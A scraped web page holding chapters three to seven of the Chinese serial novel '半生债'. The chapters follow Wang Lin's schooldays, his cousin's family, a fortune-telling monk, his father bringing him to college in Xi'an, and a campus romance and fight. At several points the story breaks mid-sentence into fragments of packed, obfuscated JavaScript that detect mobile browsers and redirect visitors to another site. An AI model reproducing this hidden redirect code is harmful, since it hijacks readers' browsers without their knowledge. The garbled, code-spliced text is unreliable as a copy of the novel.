l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196344|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校门内渐密的雨帘与建筑之间。 王霖愣在原地，久久无法动弹。雨丝飘在脸上，冰冷，却无法降低脸颊燃烧的温度。直到几个晚归的同学经过，投来好奇的、带着笑意的一瞥，窃窃私语飘入耳中，他才蓦然惊醒，发现自己还呆呆站在泥泞的路边，像个十足的傻子。 从那以后，他们再没有结伴同行过。山路依旧，雨季依旧，只是那顶小花伞下的方寸天地，成了回忆里一个被封存的、闪着柔光的秘密。两人都更深地埋进了各自的书堆与题海，在高考的巨大洪流中，成为两艘沉默航行、偶尔望见彼此桅杆的船。 后来，王霖考上了省城的财经学院，走出了大山。第二年，小琴也收到了省中医学院的通知书。人生的轨迹在此短暂交错，又迅速分开。他最终漂泊到了遥远的东山省东海市，在市场的风浪里起伏；她则留在了省城的医学殿堂，听说一路读研、深造，最终穿上了军装，成为军医大学附属医院里一名沉稳的医生，或许也成了讲堂上的老师。 三十年光阴，足以冲刷掉太多具体的细节。但那场雨，那把摇摇晃晃的小花伞，那个短暂而生涩的拥抱，以及拥抱时那种混合着惊慌、温暖、甘甜与无比珍贵的心悸，却像河床底最坚实的卵石，被时光的流水磨洗得愈发温润、清晰。 他们各安天命，生活在相距千里的城市，很近，又很远。从未刻意走近，也未曾真正远离。彼此的消息，总会通过家乡亲友的只言片语，曲折地传到耳中。知道对方安好，心下便是一片无声的慰藉与坦然。像两颗被风无意间携带的种子，落在了不同的土地上，各自扎根，抽枝散叶，在各自的风雨晴晦里，沉默而坚韧地生长着。 后来，母亲在电话里偶尔提起：“小琴那闺女，回老家时，还常来家里坐坐，问问你的情况。” 王霖在电话这头“嗯”一声，心里那片干涸了许久的河床，仿佛忽然漫过一丝极轻柔的、带着当年雨气的润泽。 再无故事展开。有些故事，不需要结局，它本身，就是一颗在岁月里静静发光的琥珀。 --- 第三章完 ｜ 字数：约2200字 4. 半生债》上卷·第四章 灯火 半生债》上卷·第四章灯火 王霖穿过半个县城，不是往东回山里的方向，而是向西，去富水镇。 富水镇是商南的异数。别处被山挤得喘不过气，这里地势却难得平缓些，几条省道交汇，便聚起了人气与财气。街道两旁店铺的招牌比县城更花哨，音像店里泄出咿咿呀呀的流行歌，空气里浮动着油炸糕点的甜腻和远方货车带来的尘土味。这是一种躁动而充满可能性的气息，与他身后那座沉浸在苦读氛围中的东岗，仿佛两个世界。 他的目的地，藏在镇子边缘一条新修的水泥路尽头。那是一座三层的小楼，贴着白色的长条瓷砖，在周围一片灰扑扑的老房子中，显得崭新而笃定。楼前有个小院，院墙上爬着些忍冬，院角不是菜畦，而是一片精心打理过的土地，种着几样常见的草药：薄荷、紫苏、艾草，绿茸茸的，在秋阳下散发着清冽的苦香。 这里是他表姐程冲和表姐夫汪金才的家。 推开刷着绿漆的铁门，那股熟悉的、复杂的香气便包裹上来——是厨房里正在翻滚的肉香，是晾晒在二楼阳台的草药渗出的植物清气，还有一种崭新的、属于水泥和白灰墙面的干燥气味。它们混合在一起，构成了王霖关于“奋斗”二字最具体、最温暖的嗅觉记忆。 “霖子！快进来，就等你了！” 表姐夫汪金才系着围裙从厨房探出身，手里还拿着锅铲。他比几年前丰润了些，脸上那种早年因贫寒而生的紧绷感，被一种安稳和从容取代，但眼神里的热络与真诚丝毫未变。他身上那件靛蓝色的衬衫熨得很平整，是程冲的手艺。 表姐程冲正从楼梯上下来，手里抱着刚收的、晒得蓬松的棉被。她变化更大。当年那个在丹江边绝望哭泣、身形单薄的女孩，如今像是被富足的日子和掌家的辛劳共同重塑过。她剪了利落的短发，脸庞圆润，眼神明亮锐利，动作间有种不容置疑的干练。看见王霖，她眉头一展，笑容真切：“又瘦了！今天非得给你补回来不可。” 饭菜的丰盛一如既往，但承载它们的空间已截然不同。明亮的瓷砖地面，成套的玻璃杯，甚至桌上那瓶插着的塑料花，都无声诉说着生活的进阶。汪金才开了瓶白酒，不是当年的散装杨梅酒，而是贴着正经商标的瓶装酒。他给王霖倒上小半杯，自己满上，话匣子也随之打开。说的不再仅仅是鼓励王霖读书的“药性”比喻，更多是他们自己的事。 “看见门口那片地没？” 汪金才抿了口酒，下巴朝窗外一点，“你姐非让留着，说种点草药，看着心里踏实。我说现在咱又不缺这点，去药材市场进好的就是了。她不肯，说这是根，不能忘。” 程冲夹了一大块炖得酥烂的蹄髈放到王霖碗里，接口道：“忘什么忘？当初在黑龙口（他们的老家）那山沟里，三间快倒的土房，下雨屋里比外面还潮。金才给人看个病，翻山越岭，收上三五块钱，有时就是一篮子鸡蛋、几把青菜。我要不去镇上摆那个小摊，卖点针头线脑、小孩的作业本，连称盐打油的钱都紧巴巴。” 她语气平淡，像在讲别人的故事，但王霖记得。记得高一那年冬天，他第一次按地址找到富水镇时，表姐两口子还租住在老街一个昏暗的门面房后半间。前半间，就是程冲的“杂货摊”，货架是自己用木板钉的，上面稀疏地摆着些商品。程冲就坐在货架后，一边守着摊子，一边手脚不停地糊着火柴盒——那是从镇办小厂接的零活，糊一个才几厘钱。屋里弥漫着浆糊的酸味和旧木头的潮气，唯一鲜亮的，是贴在墙上的一张人体穴位图，和角落里汪金才那几排擦拭得干干净净的玻璃药罐。 那时，汪金才刚刚在镇上站稳脚跟。他的医术和那股实诚劲，慢慢赢得了口碑。程冲的摊子，则像一棵顽强的小草，在这相对繁华的镇上扎下了最细微的根须。他们俩，一个凭手艺，一个靠勤勉，像蚂蚁搬家，一分一厘地积攒着对未来的想象。 “最难是盖这房子。” 汪金才喝得脸色微红，话多了起来，“批地基，跑手续，看材料，监工……你姐比我还能扛。白天守摊、操持，晚上还要对着账本算到半夜。有一回，资金转不动了，水泥等着下料，她一声没吭，把结婚时我给她打的一对银镯子当了。” 他顿了顿，看向程冲，眼里有复杂的光，“后来我赎回来，她嫌样式旧了，不肯戴了。” 程冲笑了笑，那笑容里有历经风雨后的淡然：“镯子是死的，房子是活的。有了这房子，咱在这镇上才算真正有了站脚的地方，孩子上学、你看病坐诊，才都踏踏实实。” 她转向王霖，“霖子，你看，这人哪，心里得有个念想，眼里得有条路。路不好走不怕，怕的是不敢迈步，或是走着走着，忘了自己当初为啥要出来。” 王霖默默地听着，吃着。这桌饭菜的滋味，比几年前更醇厚，里面掺进了时间的重量和成功的底气。他不仅是来打牙祭、寻慰藉的弟弟，更是一个见证者。他见证了表姐如何从摆地摊、糊火柴盒，到盘下正经门面，经营起像模像样的杂货铺；见证了表姐夫如何从走乡串户的“赤脚医生”，到在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196345|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镇上有了自己的诊室，挂着“妙手回春”的锦旗，成了连县里领导都听说过的“汪大夫”；更见证了这座小楼如何从一片荒地上，一砖一瓦地站立起来，成为他们命运改写的实体纪念碑。 他们走的路，和王霖正在搏杀的那条“独木桥”完全不同。他们的资本是手艺、是勤苦、是对机会近乎本能的攫取、是夫妻两人背靠背的死命坚持。没有那么多抽象的公式和缥缈的理想，只有具体的难关和必须解决的下一顿饭。他们的成功，带着市井的烟尘气和扎实的手感，不那么“高级”，却更有力地撞击着王霖的心。 表姐和姐夫对他依然爱护，鼓励他好好读书，考上好大学，言语间充满了对“知识”的敬重。但王霖能感觉到，一种微妙的变化正在发生。他们不再仅仅是给予者、鼓励者，他们也成了某种榜样——一种在体制与学历之外，凭借个人奋斗也能获得尊严与成功的活生生的榜样。他们的存在，拓宽了王霖对“出路”的想象，也让“奋斗”二字褪去了一些悲壮，多了些可供触摸的路径。 这份情谊，这场持续数年的款待与见证，在王霖心里，渐渐沉淀成一份特殊的“债”。它无人催讨，甚至对方可能从未觉得是“债”。但它沉甸甸地存在着，不是金钱的亏欠，而是情感的承托、信念的馈赠、以及一种无声的期许——期许他这个读书的弟弟，将来能走得更好，更远，不辜负他们曾在他身上投射过的、对于“知识改变命运”的共同信仰。 饭后，王霖常被安排住在二楼那间特意为他留的、带窗户的客房。崭新的被褥有阳光的味道。躺下后，他能听见楼下表姐收拾碗筷的轻响，表姐夫翻阅医书的沙沙声，以及富水镇夜晚隐约传来的车声。这些声音让他感到安宁，也感到一种无形的压力。 窗外的灯火，比东岗的读书灯更暖，也更复杂。它们照亮的不再仅仅是课本，还有生活的无数种可能，以及每一种可能背后，需要支付的艰辛代价。表姐一家的灯火，是温暖的港湾，也是一面清晰的镜子，照见他自身的来路与可能的前程。 他知道，这份灯火的情谊，这场关于奋斗的鲜活教育，他此生都无法真正“偿还”。它已融入他的骨血，成为他背负前行的一部分，也成为他将来无论置身何种境遇，回望时总能汲取到暖意与力量的一处源头。 这债，无需还清，只需铭记，并在自己漫长的出山路上，活出几分同样的、不认命的硬气。 --- 第四章完 ｜ 字数：约2300字 5. 《半生债》·上卷 第五章 真如寺 《半生债》·上卷第五章真如寺 县高的围墙是道明确的边界，墙内是未来，墙外是世界。出校门向东两百步，绕过一丛常年湿漉漉的竹林，边界便模糊了——真如寺就坐在那里。 寺很小，小得像谁家遗弃的旧宅院，山门褪了色，瓦楞上长着狗尾巴草。里面统共三个和尚，方丈便是那年轻的大和尚，法号忘了，大家都随俗称他“师父”。师父眉目清朗，话语温缓，不像印象里高深的僧人，倒像个念过许多书、又看淡了什么的兄长。 王霖不是独自发现这里的。他有了一伙新朋友，是这陌生县城里淘洗出来的金子：沉稳的王文，灵慧的任幸民，厚道的刘金桃，还有贾水、程国良、王双山、王勇’白月亮等几个。都是农家子弟，都憋着一股出山的劲，在题海的间隙里，需要一块不必谈论分数和排名的透气之地。真如寺的僻静与师父的随和，成了他们不约而同的选择。 起初是好奇，后来成了习惯。十几个少年，像一群叽喳的麻雀，落在寺庙洁净的石阶上、幽静的小院里。师父从不驱赶，有时在檐下晾晒经书，有时侍弄墙角几畦青菜，任由他们或坐或卧，谈论着遥远的大学、朦胧的未来，还有各自山坳里的家事。他只偶尔路过，听到某句特别天真或特别苦闷的话，会微微一笑，或递过来一句平淡却让人心静的话：“急什么，日子长着呢。” 王霖话不多，常是听着。他看着师父不急不躁的身影，看着殿内慈目低垂的佛相，嗅着香炉里那缕清心宁神的檀香，觉得这里的时间流速与墙内不同，是缓慢的、可触摸的。某天，师父随手递给他一本薄薄的《般若波罗蜜多心经》，说：“心烦时，念念这个，不求解，只管念。” 王霖接过，起初是机械地背诵，那“色不异空，空不异色”的句子绕口又玄妙。但念得多了，在那些被难题堵得心慌的深夜，那些因晓军离去而倍感虚无的黄昏，那些舌尖反复碾过经文，竟真的像有一把柔软的拂尘，将心头的尘埃暂时抚平。后来，他又磕磕绊绊地翻过《金刚经》、《楞严经》，不懂的远比懂的多，但那些关于无常、我执、虚妄的词语，像一颗颗陌生的种子，落进他年轻而焦渴的心田里。这成了他高压生活里，一个隐秘而安宁的精神偏殿。 高考前的日子，空气绷紧到极致，像一张拉满的弓。具体几月记不清了，只记得是个天色沉郁的下午，他和任幸民心里揣着相似的迷茫与惶恐，像是要抓住一点什么虚无的指引，凑钱买了两斤最朴素的红糖，又走进了真如寺。 师父在禅房里，见到他们手里的红糖，了然地笑了笑，没推辞。他搬出一函边角磨损、纸色泛黄的旧书，不是佛经，倒像命理卜筮之类的古籍。他让二人报了生辰，然后对着书，沉默地推算，用毛笔在裁好的黄纸上细细地写。禅房极静，只有笔尖划过纸面的沙沙声，和窗外遥远的、市井的微响。光线渐暗，师父就那样坐了快一个下午。 两张薄薄的纸递到他们手中。墨迹已干，竖排的字迹清瘦克制。给王霖的那张，上面有些话他当时看了半懂不懂，只记得核心几句，大意是：此生命途多迁徙，背井离乡是定数；事业初创如白手，艰难险阻自亲尝；中年之境……后面几句更模糊了。给任幸民的则似乎指向一条相对平稳的路，有“传道授业”之象。 彼时少年心气，对这类玄虚之事将信将疑，更多是当作一次新奇体验。那两张纸在随后兵荒马乱的备考、离校中，不知夹在哪本书里，终究是遗失了。 直到多年以后。 当王霖真的孤身站在离乡千里的异省车站，当他一次次在生意场上血本无归、踉跄爬起，当他在无数个深夜为明天的货款与员工的工资辗转难眠……那些早已沉入记忆底层的句子，会冷不防地浮上心头，一字一句，清晰得骇人。它们不再是预言，而成了一种带着凉意的印证，一种命运早已摊开的、沉默的底牌。任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196346|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸民后来果真回到县城，做了中学教师，清贫但安稳，偶尔通电话，也会感慨一句：“师父当年写的，竟有几分影子。” 预言的真伪早已无从考证，也许只是模糊话语碰巧契合了人生常见的轨迹。但对当年的王霖而言，真如寺与那张纸，却实实在在地在他心里种下了另一些东西。 他记得大殿廊柱上那副斑驳的对联： 大肚能容，容天下难容之事； 开口便笑，笑世间名利之客。 他也记得晨钟暮鼓响起时，师父淡淡说过：“钟声不是给佛听的，是给人听的。惊醒一下，也好。” 这些碎片，连同经文中那些关于“诸法空相”、“应无所住”的懵懂感知，在往后漫长而具体的苦难与挣扎中，被反复反刍、消化。它们未能让他超然物外——他依然在名利场中倾轧，为债务焦灼，被得失煎熬——但却隐隐给了他一个观察自身命运的角度。当他被逼到绝境时，偶尔会想起“难容之事”，苦笑自己或许正在经历；当他为某个挫败痛不欲生时，那“惊醒”的钟声，会在他心底遥远地回响一瞬。 这不是信仰，更像是一种潜移默化的哲学铺垫。它让王霖在承受俗世最具体的“债”与“罚”时，心底还能保留一丝对命运复杂性的敬畏，以及对奋斗本身意义的、超越成败的隐约追问。奋斗，或许不仅仅是为了抵达某个彼岸，也是在渡自身的这条河。 真如寺很小，三个和尚很平常，一段往事甚至带着些许青春的轻信色彩。但它像一颗投入池塘的石子，涟漪扩散至半生。那些关于离别、艰辛的预言或许终被印证，但寺庙给予少年王霖更深的馈赠，或许是那副对联的容量，是晨钟暮鼓的提醒，是让他在日后滔天的世浪里，始终没有完全迷失那点向内审视的、安静的目光。 那目光，本身便是一种慈悲。 --- 第五章完 ｜ 字数：约一千八百字 6. 《半生债》上卷·第六章 关山 《半生债》上卷·第六章关山 山是竖起来的路。 客车在秦岭的肠子里爬了十个钟头。没有隧道，只有国道。每次转弯，车厢就发出骨头错位的闷响，把人从悬崖的凝视甩向深渊的招呼。 呕吐声起来了。 王霖攥紧前座的铁杆，指节发白。他瞥向父亲。王老根靠着窗，帆布包搁在腿上，双手压着，像守着一座微型的城。他的脸随着山路微微晃动，腮帮子却绷着，仿佛在默数这大山的年轮。 吃食是母亲备的：死面饼、咸菜疙瘩、报纸裹的煮鸡蛋。就着军用水壶里温吞的开水，父子在颠簸中完成了三餐。父亲掰开饼，把软瓤递给王霖，自己啃着干硬的边皮。没有话，只有齿间碾碎麦麸的细响。 他知道父亲有淡定的本钱——这是村里少数“闯过关山”的人，年轻时到过北京，在天安门前照过相，给山里带回一种油墨味的远方。 黄昏泼向群峦时，车终于滑出最后一道山隘。 世界陡然被扳平。 灯火的海洋从地平线上漫起来，无声，浩大，带着温度。西安到了。 王霖的脸贴在冰凉的车窗上。那么多光，那么密的楼，街道宽得让老家的晒场显得汗颜。他回头看看父亲。父亲静静望着窗外，瞳孔里映着流动的灯河，没有惊讶，只有一种深远的平静。仿佛这辉煌的陌生，是他早预习过并深知重量的功课。 下车，入城，换公交。父亲始终走在前半步，用肩膀破开人潮。他认得一些古老的标记：邮电大楼的钟，解放路的百货公司。那些标记把他短暂的“闯荡”和儿子漫长的“扎根”，隐秘地连在一起。 学校的铁门吞没了他们。 当王霖领到簇新的被褥、印字的脸盆、竹壳暖瓶，还有那叠至关重要的户口与粮证时，父亲伸出粗糙的手，一件件抚摸过去。他的指尖在“非农业”那个红印章上停留了很久，微微发颤。 宿舍空着。父亲执意铺床。他抖开白得晃眼的床单，抚平每道褶皱，拍了拍松软的枕头。然后，做了个让王霖愣住的动作—— 他脱下沾尘的外衣，穿着洗白的旧褂子，在那张属于儿子的、崭新得陌生的床上，轻轻躺了下来。 没有闭眼。就那样望着天花板，日光灯在他黝黑的脸上覆了层冷白的光。身体陷进棉花里，那么放松，又那么沉重。仿佛一生的跋涉、计算、支撑，终于在这里，找到个可以暂时卸下的平面。 王霖站在床边，看着父亲沟壑纵横的脸在陌生光线里无比清晰，也无比脆弱。他喉咙发紧，别过了头。 那一夜，父子挤在一张床上。父亲很快响起鼾声，而王霖在弥漫油漆和熟悉汗味的黑暗里，睁眼到天明。他听着城市遥远而沉闷的嗡鸣，那声音和山风呼啸不同，是一种更深、更无所不在的压迫。 第二天微明，父亲起身。 他把帆布袋里剩余的干粮全部掏出，堆在桌上，像座小小的粮垛。自己只揣了两个饼。 “走了。” 声音沙哑，斩钉截铁。 送到校门口，他混入清晨上班的灰色人流。那件灰布褂子晃了几下，便被吞没，再无痕迹。 王霖独自站着。风穿过高楼峡谷，吹得他身子发冷。手里那叠票证——粮票、油票、工业券——捏得发热。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196347|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些花花绿绿的纸片，是这座城市发给他的、关于温饱的永久签证。 饿的恐惧，那伴随整个成长岁月的幽灵，似乎被一道红印正式驱散了。 一切都是“发”的：床单、脸盆、暖瓶，甚至每月有肥皂。一种前所未有的、由国家背书的安稳感，如温水般浸泡上来。这难道就是那纸通知书承诺的“天堂”？它如此具体，如此慷慨，带着体制温暖的体温。 他慢慢走回宿舍，坐在父亲躺过、尚存余温的床铺上。阳光透过玻璃，照在那堆母亲亲手做的干粮上，也照在崭新却冰冷的脸盆上。 一边是来自泥土的、粗粝的慈爱；一边是来自秩序的、周全的供给。 他忽然清晰地意识到：父亲翻山越岭送他抵达的，并非终点，而是一个交换站。他用整个少年时代的贫瘠、坚韧，以及家族的全部期望，换来了这些票据和这座城市的入门许可。 关山已过。 入城税已缴。 而在这安稳的、免费的“天堂”中央，他感到了第一丝寒冷。这温暖周全的襁褓之外，那吞没了父亲背影的、庞杂而轰鸣的城市，究竟隐藏着怎样的规则，又需要他支付怎样的未来？ 他起身，走到窗前。城市在阳光下苏醒，巨兽般舒展身躯。远处工地的打桩声，沉闷而坚定，像这个时代的心跳。 王霖知道： 翻越秦岭的险关，父亲陪他走完了。 而眼前这座名为“命运”的、更为庞杂的关山，刚刚露出一线狰狞的轮廓。 他的债，从此将用另一种货币计算。 --第六章完 ｜ 字数：约1600字 7. 《半生债》上卷·第七章 风过平原 《半生债》上卷·第七章风过平原 大学把“无限”这个词，掰开揉碎了，兑成热水，注入澡堂的白瓷池。 水汽浓得能搓出絮来。王霖第一次沉进去时，浑身毛孔发出呻吟。热水漫过锁骨，烫得他一个激灵，随即是席卷全身的酥麻。他闭着眼，用力搓洗十八年浸入骨缝的山风、尘土、柴烟味。直到皮肤发红发皱，像要蜕下一层陈旧的壳。没人看他，没人在意他洗了多久。这种无人关注的、宽阔的自由，让他惶恐又沉迷——原来世上真有“取之不尽”这回事，连温暖都可以是免费的。 图书馆是另一片海。走进去，时间的流速就变了。旧纸、油墨、岁月沉淀的复杂气味扑面而来。书架如沉默的巨人队列，向幽暗深处无限延伸。他仰头，目光掠过密密匝匝的书脊，那些陌生的书名像遥远的咒语。眩晕感袭来——原来世界有这么多话要说，这么多路被走过。 他很快和姓陈的管理员熟络起来。帮她整理卡片，用钢笔蘸墨水，在牛皮纸目录卡上一笔一画誊写。字要端正，心要静。回报是默许——非开放时间进入书库的特权，那些人人排队的热门书，总悄然流到他手中。他像掉进粮仓的田鼠，被丰盛噎住，继而开始疯狂地、不分方向地囤积。哲学、经济、小说、笔记……杂乱地吞咽，不为考试，是被一种近乎生理的饥饿驱使，填补灵魂里那片被陡然照亮的空洞。 大学的尺度，是山村少年无法想象的。礼堂大到能装下整个乡，阶梯教室的弧形桌面被磨出温润光泽。周末夜晚，某栋楼飘出音乐和笑语——舞会。他去看过一次，彩灯旋转，男女相拥滑动，姿态轻盈。他站在门边阴影里，像看一场与己无关的华丽戏剧，几分钟后悄悄退出。那里的空气太甜太飘，他呼吸不来。图书馆沉甸甸的、带着灰尘与智慧的安静，才是他能扎根的土壤。 不到半年，凭那点痴气，他在校文学社混到“编辑”虚衔。真正的转折，是那场全国诗歌比赛。他把自己关了三晚，写出“山与路”。投出去，几乎忘了。直到厚重作品集送到手上，翻到某一页，赫然印着他的名字和诗行。他反复摩挲铅印的名字，指尖传来微凸触感。是真的。他的名字，他的思想，被印成书，要进入无数陌生人视野。一种轻盈发烫的东西从脚底升起，托着他，几乎飘起来。他确信摸到了天才的边缘。开始更狂热地写，笔记本爬满扭动意象。和几个亢奋的文学青年，在深夜宿舍或简陋茶馆，激烈争论“自我”与“存在”，唾沫横飞，眼神灼亮，仿佛已勘破人生谜底。 学业成了轻松余兴。他摸索出门道：大部分课程，考前一个月把自己钉在自习室椅子上，熬十几个通宵，将笔记重点像符咒强行刻进脑子，六十分及格线总能堪堪越过。他称为“效率”。腾出的大把时间，自以为都献祭给了更高级的精神生活。 直到饥饿，以熟悉而陌生的方式，重新扼住咽喉。 起初是热闹温暖的。散落西安各大学的商南老乡，像归巢的鸟循乡音陆续找来。王霖高兴，用最大热情接待。但很快，面对食堂窗口时，他开始下意识摸紧口袋里日益单薄的饭票菜票。一次聚餐，可能就是好几天的伙食预算。不好意思说，只能独处时默默计算如何用咸菜馒头捱到月底。精神的丰盛与肠胃的空瘪，形成尖锐讽刺。 这窘境被第四军医大学的老乡尚朝江一眼看穿。一次饭后，尚朝江拉他到一边，低声说：“霖子，你这样不行。守株待兔，坐吃山空。你得主动出击，去看望他们。别总一个人去，约上一两个同学，面子上好看，分摊开来负担也轻。”眼神里有过来人的透彻，“人情往来，不是光靠实心肠就够，也得讲点策略。” 王霖如梦初醒。下个周末，便邀同宿舍一位性格宽厚的同学，带着刻意装点的从容，踏上“巡访”西安各高校老乡的旅程。粮票危机暂时缓解，但一种新的、更精细的刻度，在心里悄然生根。在政法学院、外语学院、交通大学……他见识了同学们的另一种生活：有人操流利英语与外教谈笑，有人随口谈论暑假去南方的见闻，有人腕上的手表是他不敢询问价格的牌子。曾经在县高赖以维持自尊的“成绩好”，在这五光十色参照系里迅速褪色风干，露出底下最坚硬的基石——无法选择的出身，一道无声却无处不在的鸿沟。自卑并未消失，而是在更广阔的天空下，被映照得更加庞大清晰。 第一个寒假，他带着这副被城市初步打磨、塞满复杂收获与失落的身心回到商南。山村用质朴夸张的羡慕迎接他，“大学生”三字仿佛自带光环。走在村里，能感受到背后热辣辣的注视。这虚荣的暖意，持续到那个冬日下午。 邮差铃铛在院门外响起。一个来自宝鸡的包裹，落在王家堂屋方桌上。全家围过来，带着迎接远方神迹的兴奋。父亲小心剪开缝合线，母亲的手在围裙上擦了又擦。包裹翻开，先露出一角鲜艳枣红。抖开，是件厚实手织毛衣，针脚细密均匀。毛衣上，安静躺着一张彩色照片。 照片上的女孩，梳两条乌黑油亮的长辫，垂在饱满胸前。她对着镜头笑，眼睛弯成月牙，嘴角漾出两个深深梨涡，甜美的浓度像夏日熟透的蜜桃，仿佛能透过相纸直接滴进观者心里。母亲“呀”了一声，手指轻轻拂过照片上女孩的脸。毛衣里飘落一张小纸条，只有一行娟秀小字：“霖，这是我花了三个月一针一线为你织的毛衣。别嫌弃。萍” “萍”。他的同桌，月萍。那个穿着时髦的确良衬衫、笑起来能照亮半个教室的女孩。她身边永远围着殷勤男生，帮忙打水、占座、讲解难题，像一群开屏的孔雀。王霖自觉是误入天鹅湖的丑小鸭，应对这份耀眼的方式是沉默退避。每当晚自习她的座位被追求者占据，就默默拿起书本走到教室最后一排空位，或干脆躲进图书馆。他以为自己是透明的。从未想过这沉默的、保持距离的姿态，反而成了被注意到的“不同”。 消息比山风跑得快。“王家那小子在大学找了个仙女！”“跟电影画报上走下来的一样！”父母眼神里充满小心翼翼求证和压不住的喜悦，伙伴们的玩笑里掺杂着货真价实的酸意。王霖抱着那件柔软的、似乎还残留陌生女孩体温和气息的毛衣，站在屋子中央手足无措。毛衣很暖，却暖得心慌。这份突如其来的、跨越阶层的青睐，像颗过于璀璨的流星砸进生活，带来的不只是光，还有灼伤和深深迷惘。 新学期，一切都变了。他像换了个人，胸膛不自觉地挺起，脚步也踏得实了。晚自习不再让座，而是稳稳坐在月萍身边“专属”位置。能感觉到四周投来的目光——惊讶的、探究的、羡慕的、不屑的。照单全收，心底有种混合报复与证明的快意。月萍似乎更高兴了，看他的眼神里依赖与甜蜜满得要溢出来。她高等数学学得吃力，便拿出前所未有的耐心一遍又一遍讲解，从微积分基本概念到复杂习题推导。看着她恍然大悟时亮晶晶的眼睛，觉得自己的价值得到了最熨帖的确认。那段日子天空是透亮的蓝，风都带着甜味，几乎以为那看似不可逾越的鸿沟已被青春情愫悄然填平。 幻象被一个普通的周六上午砸得粉碎。 正在宿舍收拾行装，计划和同学去爬华山。门被粗暴推开，三个陌生青年闯进来，衣着气质与校园格格不入。领头的眼神不善，扫视一圈冷冷问：“谁叫王霖？” 宿舍瞬间安静。几个同学的目光不由自主投向了他。 王霖心里一紧站起身：“我就是。你们……” 话音未落，一记凶狠直拳毫无征兆砸在鼻梁上！ “砰！”闷响。并非多么剧痛，先是鼻子一酸眼前金星乱冒，随即温热的、带着浓重铁锈味的液体汹涌而出，漫过嘴唇滴落在雪白衬衫前襟上，迅速洇开一大片刺目的红。 时间凝固了一秒。王霖愣愣看着胸前血迹，又抬眼看向那张狞笑的脸。一股混着耻辱、愤怒和山野本能的凶狠像地火轰然冲垮所有理智。喉咙里发出低吼，像受伤的野兽猛地转身抄起旁边松木椅子靠背，“咔嚓” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196348|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆响劈裂下来，抡圆胳膊不管不顾朝对方砸去！ “操你妈！” 椅子带着风声。那三人显然没料到这个看起来沉默寡言甚至有些土气的农家子反击起来如此不要命，气势顿时沮丧。有人喊：“快走！”三人慌忙扭身夺门而逃。 王霖哪里肯罢休，满脸是血提着半截破椅嘶吼着追出去。从宿舍5楼一直追到学校大门口，一路上血迹斑斑，吼骂声惊动半个校园。那三人兔子般窜出校门消失在人群里。王霖喘着粗气站在校门口像个血人，用尽全力朝他们消失的方向怒骂，字字句句都是最粗粝的乡音诅咒。 直到几个要好的同学和闻讯赶来的保安将他抱住拖去医务室，浑身绷紧的肌肉才慢慢松弛下来。随后鼻梁处延迟的剧痛海啸般袭来。 校医清洗伤口时很平静，说鼻骨有点挫伤不严重。消毒上药，用纱布胶带在鼻梁上打了个显眼的十字。血很快止住了，不到一周拆纱布，不到一个月伤痕便淡得几乎看不见。 但有些东西留下了。他“为护女友单挑三个混混”的事迹经过无数口耳添油加醋在校园疯传。成了某种传奇符号：沉默、凶狠、用情至深、不好惹。意外结果是月萍身边的座位真正清静了。再没有男生敢来轻易叨扰。 短暂的、充满血色的平静之后，是第二个寒假来临前。月萍在操场边约他。冬夜的星空很高很冷。他们沿着煤渣跑道一圈两圈三圈……起初是沉默，只有脚步声和呼吸的白气。 忽然月萍低声抽泣起来。然后变成无法抑制的痛哭。王霖慌了想去拉她的手，却感到自己的眼眶也瞬间滚烫。不知道为什么哭，但悲伤来得如此汹涌。 